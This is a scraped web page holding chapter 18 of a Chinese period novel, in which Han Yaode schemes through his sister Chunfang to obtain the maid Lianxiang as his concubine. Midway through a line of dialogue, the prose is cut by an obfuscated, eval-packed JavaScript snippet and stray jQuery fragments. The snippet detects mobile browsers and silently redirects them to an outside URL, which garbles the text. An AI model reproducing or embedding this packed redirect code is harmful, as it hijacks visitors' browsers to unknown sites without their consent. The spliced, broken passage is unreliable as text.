默认冷灰
24号文字
方正启体

18. 第十八章

作者:眯十本书字数:K更新时间:
    话说韩耀德端阳那日在广云楼因钱不够竞价婊子不成,赌气要回当铺再要些银子来,没成想在半道看上了怜香,也不想着拿钱再回广云楼,整夜辗转难眠想着娄府那美貌丫鬟,心内计较着:“我要如何才能将她弄到手呢?”


    一连三四日茶饭不思,寝食难安,真个燥得人五内俱焚。“我看不如直接进府去求我那妹妹,让妹夫直接把丫头赏给我为妾便成。”心中算计已定,方才慢慢睡去。


    草草睡了一觉后,大清早起床往娄府东角门处去,见两个小厮正蹲在地上斗蚁,韩耀德从袖子里拿出一些碎银子,笑呵呵道:“二位小哥,劳烦通传一下我们姑奶奶,就说哥哥有事来找。”说着将钱分别递与两人。


    小厮收起钱,客套道:“哟,这不是咱们府上韩舅爷吗,还跟我们这么客气,我这就去给你传话。”于是一溜烟跑进去了。


    不一会儿,就有人来传:“春芳姑娘请舅爷进去呢!”


    韩耀德嘴上说着“不敢,不敢”二字,一面哈着腰跟着走进去,稍走了一会儿,又换成一个老婆子带他走进内院正房旁的抱厦中,到了地,一旁的老婆子便退下了。


    韩耀德见妹妹正坐于抱厦内候着自己,于是上前作揖道:“问姑奶奶安。”


    韩春芳见了自家哥哥,忙起身让他也坐道:“哎呀哥哥,此刻四下并无他人,胜菊也是我的心腹,你又何必如此客套。”


    说着春芳自先坐下,斟了一盏茶吃。那韩耀德见状也坐一旁椅子上,说道:“多谢妹妹为我从妹夫那求来了好差事。此番我是特来谢过妹妹的。”


    春芳撇他一眼,暗想韩耀德说是来道谢,却是空手而来,心中甚知她哥哥是无事不登三宝殿之为人,故意不接茬,岔开话问道:“家中爹娘身体可还康健?”


    韩耀德一楞,半晌儿方道:“爹娘甚为记挂妹妹,也总说家里多亏妹妹周全才有好日子过。”


    春芳忍不住小哼一声道:“如此说来,也还算你们有良心,不枉我为你们筹谋一场。”


    韩耀德自是口中谢了又谢,忽而话头一转说道:“只是近来爹娘为我这婚事着急,夜间总是睡不踏实,这身子看着一天天弱了下去。”


    “可请了大夫瞧不曾?”春芳听了甚为着急,忙问道。


    韩耀德唉声叹气道:“请了不知多少郎中,用了不知多少名贵药材,总不见好,大夫说是心病。爹娘总是叹气道:‘只要你成了家,我们这病就好了。’唉,你说这一时半会让我上哪儿成亲去。”


    春芳劝道:“哥哥,你年纪不小了,别总是在外闲玩,该成家立业才是正道。”


    韩耀德偷觑了春芳一眼道:“正是这个道理,我乘着妹妹的东风立了业,如今谁不尊称我一声二掌柜。这成家之事,若妹妹肯替我周全,我自然是要烧香拜佛感谢妹妹恩情的。”


    春芳闻言便问道:“这么说来,你是有看上的女子了?何不请爹娘去上门提亲?”


    韩耀德趁话说道:“妹妹不知,因那女子是这府里的丫鬟,这才让我左右为难呢。”


    春芳问:“叫什么名字?”


    哪知韩耀德一问三不知,只道:“十分貌美,我也不晓得是府中哪一位。”


    春芳一听,心道:“这府中美貌丫头甚多,我却去哪里替他寻?”忽而转念一想到凌水阁的婢女姚怜香姿色在府中颇有美名,会不会是那个丫头?暗暗思量一番,忙命下面的婢女明琴往凌水阁去邀怜香到这正院里来,让哥哥于一旁悄悄地偷看。


    韩耀德远远一瞧两个说话的婢女,其中一个果然是那女子,心内甚喜,脚下一崴差点让二人发现,慌乱中匆忙隐过身形,忙不跌朝春芳点头道:“正是她!”


    春芳心内暗想:“只是个凌水阁的婢女而已,去那讨了来就是,况且长这模样去我娘家也算给我涨脸面。”于是有心显摆自己,便一口应承道:“哥哥放心,这事我去求爷,包准有了。”


    二人一头说一头走回抱厦中,韩耀德听妹妹打了包票,想这事是必成的,也忍不住奉承道:“妹妹真是福星降世,有了你才有我韩家一世享福。”


    春芳摆了摆手,示意不必多言。韩耀德又稍坐了一会儿,便要告别妹妹,春芳命胜菊将他送到二门处,仍从东角门出府候消息去了。


    这厢胜菊送了韩耀德出去后回到内院,见主子仍坐在抱厦内发呆,便走到其身旁轻轻回道:“姑娘,舅爷已经出府去了,咱们也回房去罢。”


    春芳抬头看了看,见天尚早,未到晌午,就问胜菊:“昨天夜里,爷歇在哪个屋里?”


    胜菊凑近小声道:“昨儿掌灯时候回来的,往怡人那屋去稍待了一会儿,又往内书房去了,一直到今天早上未见出来。”


    春芳冷笑一声,说:“怡人这小淫.妇,仗着肚子里有货,天天霸占着爷,不让爷往咱们屋子来,当真是个贱人。”


    顺口吩咐胜菊:“你将早晨炖的羊羹带上,跟我往书房去看爷起了没。”


    语罢春芳与胜菊二人回到屋内,丫头明琴小跑来报道:“姑娘,爷回正屋了。”


    她二人收拾一番,往正屋走去,待到了门口,胜菊将手中托盘交给春芳,便在门口候着。


    春芳径往屋内走去,见屏岚正在娄观浦身旁伺候他更衣,便走近说道:“让我来罢。”说着一面将手中托盘放在旁边几子上,伸手要给娄观浦穿戴。


    娄观浦扬手止住春芳动作,问说:“你来这有甚事?”


    春芳瞧着屏岚忙前忙后伺候,心中正恨屏岚这人没个眼力见,白了她一眼才笑吟吟看向娄观浦说道:“爷,这快到午间了,奴听闻你昨夜宿在书房,也不知道用了早饭不曾,我这赶忙着慌给你端了碗羊羹来,垫垫肚罢。”


    此时屏岚正将腰带扣上,已然穿戴完毕,娄观浦回身走到厅前圈椅上坐下,一面说:“已然入夏,此时食用羊羹燥的很。”见春芳已跟了上来,又说:“我现下正有事要出去,你有话快说,否则我便要走了。”


    春芳看了看仍在身旁侍立的屏岚,见娄观浦没有要打发她走的意思,就努了努嘴,一副欲语还休的模样。


    娄观浦便有些不耐烦,问屏岚:“可使人去前头备马了?”


    屏岚回道:“爷,徐旺方才来回,马早已备上,等爷前去呢。”


    娄观浦听罢也不再理春芳,起身就往门外走去。


    春芳着了慌,忙起身把住娄观浦手臂,软声说道:“爷,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543695|204027||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是件小事。我哥哥年岁已大,爹娘也着急他的婚事,现下已是为此病倒了。我心里着急,斗胆向爷讨个恩典,给个体面,就将府里的婢女赐一个与我哥哥为妾罢。”


    娄观浦问道:“可是韩耀德上门来求你此事的?”


    春芳道:“奴的哥哥自从得了爷的重用,一直感恩戴德。他说前些日子正值年节铺子里忙,今儿早上才得空来府中与我道谢。也是我多嘴问到此事,心想爷最是疼我,这才敢来与爷讨恩典呢。”


    娄观浦见他也还算知礼,心中已然同意了两分,又想起江永道曾来回他,说韩耀德在外头为当铺收了一对银鎏金蕾丝嵌宝石折扇,当真是稀世珍宝,心中又是同意了八分,只是听闻手段却不十分光彩,便故意沉着声儿与春芳说:“我听江永道说,你哥哥也算能干。只是我有一事提前与你说明,你去告知韩耀德,不可打着我的旗号去外头东诓西骗,否则我知道后绝不轻饶。”


    春芳听罢暗道:“这江管事也算知事,往后我必定在爷面前替他多多美言。”口内说道:“奴知道了,哥哥也绝不是那样的人。”


    娄观浦点了点头,问:“你看上府中哪个婢女,叫屏岚去说与她听,随后把身契给你就是了。”


    春芳却道:“爷,此事也不劳烦屏岚,就交给奴自己去办吧。我去说了,那婢女必定高兴,我也可先与她叙一番姑嫂之情。”


    娄观浦道:“既如此,此事不必再与我提,你自去办罢。”


    春芳闻言喜滋滋谢恩后便退下了,带着胜菊径往凌水阁走去,要讨了怜香来,此事暂且不提。


    且说娄观浦见春芳出了正屋,也欲出门去,可巧廊上丫头采萍来回:“爷,杨嬷嬷来了要见爷,我说爷有事,此刻她正候在檐廊下等爷呢。”


    娄观浦听闻好长时间没见的奶母来了,少不得与她絮叨两句,便吩咐屏岚:“你先去告诉徐旺一声,就说杨嬷嬷来了,我有事耽搁一下再去。”


    屏岚领命出去,正见杨嬷嬷走在前头进了屋,彩萍跟在后头,屏岚便一把将她扯走了。


    这厢杨嬷嬷见了娄观浦,忍不住絮絮叨叨一番,又是说瘦了,又是说黑了。


    娄观浦忍不住打断道:“妈妈,你有什么事儿?”


    杨嬷嬷知他没什么耐心,听不得她唠叨,假意哭道:“哎哟我的爷,我好容易将你奶大,将来指望你靠老终身。可我看你底下这些伺候的丫头没一个可靠的,我的爷被他们伺候得这样瘦,也不知道这些丫头们心往哪里使去了?”


    娄观浦无奈道:“妈妈,这些个丫头都是我自己挑的,我心里有数。”


    杨嬷嬷道:“我的爷,别人不知道,我老婆子还不知道吗?你的这些个丫头都是些中看不中用的,就那个叫屏岚的伶俐些,你便叫她管着着这后院的事,可去了这一个,你身边哪里还有贴心的人用。那些个姨娘通房,我看啊,也没一个靠得住的。”


    娄观浦沉吟不语,思量道:“这老妈妈甚是唠叨,徐旺怎么还不来?”


    正不耐烦时又听杨嬷嬷道:“眼下我倒有一个丫头要荐与你,这个丫头不光模样生得好,心也是软之又软的人,且最是老实本分。她要是能来伺候爷那是最好不过了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)